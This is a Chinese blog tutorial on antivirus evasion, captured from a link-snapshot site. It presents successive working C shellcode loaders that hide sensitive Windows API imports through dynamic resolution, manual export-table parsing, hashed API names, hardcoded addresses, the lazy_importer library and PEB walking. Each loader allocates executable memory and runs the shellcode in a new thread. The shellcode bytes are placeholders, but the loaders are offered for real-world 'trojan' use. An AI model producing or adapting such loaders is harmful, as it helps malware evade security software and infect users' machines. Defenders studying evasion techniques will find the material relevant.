添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

前言

去年就看过倾旋大佬的免杀系列,当时没有win 32基础和pe知识,看起来非常的吃力。趁着寒假学习了一波,终于可以写下本篇。

敏感api调用

在windows pe中,存在导入表,记录了使用了那些模块,模块中又使用了那些api。如果一个木马使用了CreateThread,VirtualAlloc等等api。杀软会进行高度重视。
编译倾旋大佬的
代码 ,使用StudyPE查看导入表如下

可看到存在VirtualAlloc,VirtualProtect等等敏感api。我们的目标要将它隐藏起来。

自定义api函数

运行下面代码将弹框

#include<stdio.h>
#include<Windows.h>
int main()
    MessageBox(0,0,0,0);
    return 0;

  查看导入表,MessageBoxA在USER32.dll里面
  
  现在我们要自定义MessageBox函数,并成功运行起来

  思路是先获取到USER32.dll里面的MessageBoxA的函数地址。然后自

定义一个MyMessageBox winapi函数。函数的结构必须和微软给出MessageBox一致。之后调用MyMessageBox即可

  而要获取dll中的函数地址要用到GetProcAddress

FARPROC GetProcAddress(
	HMODULE hModule,	// 函数或变量的DLL模块的句柄 可用GetModuleHandle或LoadLibrary获取
	LPCSTR  lpProcName	// 函数或变量名
);						// 成功返回函数或变量地址

  继续看GetModuleHandleLoadLibrary

HMODULE GetModuleHandleA(
	LPCSTR lpModuleName	 // 模块名称
);						 // 成功返回句柄 失败返回NULL
HMODULE LoadLibraryA(
	LPCSTR lpLibFileName // 一个dll文件
);						 // 成功返回句柄 失败返回NULL
#include<stdio.h>
#include<Windows.h>
// 定义函数指针
typedef int(WINAPI * pMessageBoxW)(
    HWND    hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT    uType
int main()
    // 获取MessageBox函数地址
    pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(LoadLibrary("USER32.dll"),"MessageBoxA");
    // 调用
    MyMessageBox(0,0,0,0);
    return 0;

  运行后弹框
  
  再次查看导入表,成功隐藏了MessageBox,并且USER32.dll也没有了
  

示例代码

  按照上面的思路,可以将恶意代码进行处理

#include <Windows.h>
#include <stdio.h>
typedef LPVOID(WINAPI *pVirtualAlloc)(
    LPVOID  lpAddress,
    SIZE_T  dwSize,
    DWORD   flAllocationType,
    DWORD   flProtect
typedef HANDLE(WINAPI *pCreateThread)(
    LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    SIZE_T                  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    LPVOID                  lpParameter,
    DWORD                   dwCreationFlags,
LPDWORD                     lpThreadId
typedef DWORD(WINAPI *pWaitForSingleObject)(
    HANDLE  hHandle,
    DWORD   dwMilliseconds
FARPROC GetAddress(LPCSTR lpModuleName, LPCSTR lpProcName)
    return GetProcAddress(GetModuleHandle(lpModuleName), lpProcName);
int main()
    // shellcode
    unsigned char shellcode[] = "\x64\x8B\x35";
    // 获取大小
    int size = sizeof(shellcode);
    // 1.开辟内存空间
    pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)GetAddress("kernel32.dll", "VirtualAlloc");
    LPVOID lpAddress = myVirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
    if (lpAddress)
        // 2.复制shellcode
        CopyMemory(lpAddress, shellcode, size);
        // 3.执行shellcode
        pCreateThread myCreateThread = (pCreateThread)GetAddress("kernel32.dll", "CreateThread");
        HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
        if (hThread)
            pWaitForSingleObject myWaitForSingleObject = (pWaitForSingleObject)GetAddress("kernel32.dll", "WaitForSingleObject");
            myWaitForSingleObject(hThread, INFINITE);
    return 0;

深入隐藏

  再次查看导入表,虽然没了VirtualAlloc,CreateThread等等函数。但存在GetModuleHandle 和 GetProcAddress
  
  这两个函数也是杀软要关注的,而GetProcAddress底层就是解析导出表。接下来我们自己解析kernel32.dll导出表中的内容

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
int main()
	HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
	if (!hKernel32) return 0;
	// 使用GetProcAddress得到的VirtualAlloc地址
	DWORD virtualAllocAddress = (DWORD)GetProcAddress(hKernel32, "VirtualAlloc");
	printf("GetProcAddress = %x\n", virtualAllocAddress);
	// 解析PE 
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
	PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
	// 导出表
	PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
	PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
	PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
	// 解析导出表
	for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
		PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
		// 获取VirtualAlloc
		if (strcmp(pFunctionName, "VirtualAlloc") == 0)
			// 自己解析得到的VirtualAlloc地址
			DWORD myVirtualAllocAddress = (DWORD)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
			printf("PE VirtualAllocAddress = %x\n", myVirtualAllocAddress);
			break;

  运行结果,每台电脑的都不一样

GetProcAddress = 741b6890
PE VirtualAllocAddress = 741b6890

  成功手动实现了GetProcAddress功能

  然而上述的代码中第31行,还是出现了VirtualAlloc字符。可以使用简单的hash加密进行替换。

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
unsigned int hash(const char* str)
	unsigned int hash = 7759;	// 可替换这里的密钥
	int c;
	while (c = *str++)
		hash = ((hash << 5) + hash) + c;
	return hash;
int main()
	HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
	if (!hKernel32) return 0;
	// 解析PE 
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
	PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
	// 导出表
	PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
	PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
	PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
	// 解析导出表
	for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
		PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
		// 获取VirtualAlloc
		if (strcmp(pFunctionName, "VirtualAlloc") == 0)
			// 加密VirtualAlloc后的结果
			printf("hash VirtualAlloc %x", hash(pFunctionName));
			break;
hash VirtualAlloc 80fa57e1

  得到加密后的VirtualAlloc为80fa57e1,38行换成if (hash(pFunctionName) == 0x80fa57e1),即可避免VirtualAlloc出现。
  示例代码

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
typedef LPVOID(WINAPI* pVirtualAlloc)(
	LPVOID  lpAddress,
	SIZE_T  dwSize,
	DWORD   flAllocationType,
	DWORD   flProtect
typedef HANDLE(WINAPI* pCreateThread)(
	LPSECURITY_ATTRIBUTES   lpThreadAttributes,
	SIZE_T                  dwStackSize,
	LPTHREAD_START_ROUTINE  lpStartAddress,
	LPVOID                  lpParameter,
	DWORD                   dwCreationFlags,
	LPDWORD                 lpThreadId
typedef DWORD(WINAPI* pWaitForSingleObject)(
	HANDLE  hHandle,
	DWORD   dwMilliseconds
unsigned int hash(const char* str)
	unsigned int hash = 7759;	// 可替换这里的密钥
	int c;
	while (c = *str++)
		hash = ((hash << 5) + hash) + c;
	return hash;
int main()
	pVirtualAlloc myVirtualAlloc = NULL;
	pCreateThread myCreateThread = NULL;
	pWaitForSingleObject myWaitForSingleObject = NULL;
	HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
	if (!hKernel32) return 0;
	// 解析PE 
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
	PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
	// 导出表
	PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
	PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
	PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
	// 解析导出表
	for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
		PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
		PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]];
		// VirtualAlloc
		if (hash(pFunctionName) == 0x80fa57e1)
			myVirtualAlloc = (pVirtualAlloc)pFunctionAddress;
		// CreateThread
		if (hash(pFunctionName) == 0xc7d73c9b)
			myCreateThread = (pCreateThread)pFunctionAddress;
		// WaitForSingleObject
		if (hash(pFunctionName) == 0x50c272c4)
			myWaitForSingleObject = (pWaitForSingleObject)pFunctionAddress;
	unsigned char shellcode[] =  "\x55\x64\x8B\x35";
	if (!myVirtualAlloc || !myCreateThread || !myWaitForSingleObject)
		return 0;
	LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CopyMemory(lpAddress, shellcode, sizeof shellcode);
	HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
	myWaitForSingleObject(hThread, INFINITE);

  导入表已经没有GetProcAddress了,但还是存在GetModuleHandle,解决办法是使用PEB。本人太菜没学过,就不写了
  

后记

  后面想了想,其实还有一种简单又笨的办法。就是先在目标机上获取到VirtualAllocCreateThread,WaitForSingleObject函数的地址。然后直接赋值加载即可

// 使用GetProcAddress得到的VirtualAlloc地址
DWORD virtualAllocAddress = (DWORD)GetProcAddress(hKernel32, "VirtualAlloc");
printf("VirtualAlloc =  %x\n", virtualAllocAddress);
VirtualAlloc = 74BC6890

  拿到上面的地址后,直接进行赋值加载函数地址

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
typedef LPVOID(WINAPI* pVirtualAlloc)(
	LPVOID  lpAddress,
	SIZE_T  dwSize,
	DWORD   flAllocationType,
	DWORD   flProtect
typedef HANDLE(WINAPI* pCreateThread)(
	LPSECURITY_ATTRIBUTES   lpThreadAttributes,
	SIZE_T                  dwStackSize,
	LPTHREAD_START_ROUTINE  lpStartAddress,
	LPVOID                  lpParameter,
	DWORD                   dwCreationFlags,
	LPDWORD                 lpThreadId
typedef DWORD(WINAPI* pWaitForSingleObject)(
	HANDLE  hHandle,
	DWORD   dwMilliseconds
int main()
	pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)(0x74BC6890);
	pCreateThread myCreateThread = (pCreateThread)(0x74BC45D0);
	pWaitForSingleObject myWaitForSingleObject = (pWaitForSingleObject)(0x74C1DE30);
	unsigned char shellcode[] = "\x58\x55";
	LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CopyMemory(lpAddress, shellcode, sizeof shellcode);
	HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
	myWaitForSingleObject(hThread, INFINITE);

  过几天后,找到了了别人写好的lazy_importer,用法非常简单,includelazy_importer.hpp后,然后把原来函数改成LI_FN(原来函数)就行,NULL改成nullptr即可。

#include <windows.h>
#include <stdio.h>
#include "lazy_importer.hpp"
int main()
    unsigned char shellcode[] = "\x25\x22";
    int size = sizeof(shellcode);
    LPVOID lpAddress = LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(lpAddress, shellcode, size);
    (*(void (*)())lpAddress)();

  不过我查看导入表,还是有GetModuleHandle函数,暂时先这样吧。

更新

  学完peb了,继续写上次没写完的。原理是遍历peb->LDR_DATA_TABLE_ENTRY->BaseDllName。如果BaseDllName值=KERNEL32.DLL。就可以从LDR_DATA_TABLE_ENTRY->DllBase,拿到KERNEL32.DLL的基址

  完美支持x32/x64的shellcode

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
// 定义peb结构
//https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063
typedef struct  _PEB_LDR_DATA
	ULONG Length;
	BOOLEAN Initialized;
	HANDLE SsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	PVOID EntryInProgress;
	BOOLEAN ShutdownInProgress;
	HANDLE ShutdownThreadId;
}PEB_LDR_DATA, * PPEB_LDR_DATA;
//https://processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008
typedef struct _PEB
	BOOLEAN InheritedAddressSpace;
	BOOLEAN ReadImageFileExecOptions;
	BOOLEAN BeingDebugged;
	union
		BOOLEAN BitField;
		struct
			BOOLEAN ImageUsesLargePages : 1;
			BOOLEAN IsProtectedProcess : 1;
			BOOLEAN IsImageDynamicallyRelocated : 1;
			BOOLEAN SkipPatchingUser32Forwarders : 1;
			BOOLEAN IsPackagedProcess : 1;
			BOOLEAN IsAppContainer : 1;
			BOOLEAN IsProtectedProcessLight : 1;
			BOOLEAN SpareBits : 1;
	HANDLE Mutant;
	PVOID ImageBaseAddress;
	PEB_LDR_DATA* Ldr;
	//...
} PEB, * PPEB;
typedef struct
	USHORT Length;
	USHORT MaximumLength;
	PWCH Buffer;
}UNICODE_STRING;
//https://processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102
typedef struct  _LDR_DATA_TABLE_ENTRY
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	union
		LIST_ENTRY InInitializationOrderLinks;
		LIST_ENTRY InProgressLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	//...
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// 定义peb结构
typedef LPVOID(WINAPI* pVirtualAlloc)(
	LPVOID  lpAddress,
	SIZE_T  dwSize,
	DWORD   flAllocationType,
	DWORD   flProtect
typedef HANDLE(WINAPI* pCreateThread)(
	LPSECURITY_ATTRIBUTES   lpThreadAttributes,
	SIZE_T                  dwStackSize,
	LPTHREAD_START_ROUTINE  lpStartAddress,
	LPVOID                  lpParameter,
	DWORD                   dwCreationFlags,
	LPDWORD                 lpThreadId
typedef DWORD(WINAPI* pWaitForSingleObject)(
	HANDLE  hHandle,
	DWORD   dwMilliseconds
unsigned int hash(const char* str)
	unsigned int hash = 7759;	// 可替换这里的密钥
	int c;
	while (c = *str++)
		hash = ((hash << 5) + hash) + c;
	return hash;
int main()
	pVirtualAlloc myVirtualAlloc = NULL;
	pCreateThread myCreateThread = NULL;
	pWaitForSingleObject myWaitForSingleObject = NULL;
	PEB* peb = NULL;
#ifdef  _WIN64
	// 64位 gs:[0x60]
	peb = (PEB*)__readgsqword(0x60);
#else
	// 32位fs:[0x30]
	peb = (PEB*)__readfsdword(0x30);
#endif //  WIN64
	PEB_LDR_DATA* ldr = peb->Ldr;
	// 头指针
	LIST_ENTRY* moduleList = &ldr->InMemoryOrderModuleList;
	// 头结点
	LIST_ENTRY* list = moduleList->Flink;
	PVOID hKernel32 = NULL;
	while (list != moduleList)
		LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - sizeof(LIST_ENTRY));
		// 获取KERNEL32.DLL基址
		if (lstrcmpiW(pEntry->BaseDllName.Buffer, L"KERNEL32.DLL") == 0)
			hKernel32 = pEntry->DllBase;
			break;
		list = list->Flink;
	if (!hKernel32) return;
	// 解析PE 
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
	PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
	// 导出表
	PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
	PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
	PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
	// 解析导出表
	for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
		PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
		PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]];
		// VirtualAlloc
		if (hash(pFunctionName) == 0x80fa57e1)
			myVirtualAlloc = (pVirtualAlloc)pFunctionAddress;
		// CreateThread
		if (hash(pFunctionName) == 0xc7d73c9b)
			myCreateThread = (pCreateThread)pFunctionAddress;
		// WaitForSingleObject
		if (hash(pFunctionName) == 0x50c272c4)
			myWaitForSingleObject = (pWaitForSingleObject)pFunctionAddress;
	unsigned char shellcode[] = "\xfc\x12";
	if (!myVirtualAlloc || !myCreateThread || !myWaitForSingleObject)
		return 0;
	LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CopyMemory(lpAddress, shellcode, sizeof shellcode);
	HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
	myWaitForSingleObject(hThread, INFINITE);

  而lazy_importer的源码,也用到了peb,实战的时候还是用lazy_importer吧,节省时间。

参考链接

静态恶意代码逃逸(第七课)
动态调用无导入表编译
Malware development part 4 - anti static analysis tricks
PEB结构:获取模块kernel32基址技术及原理分析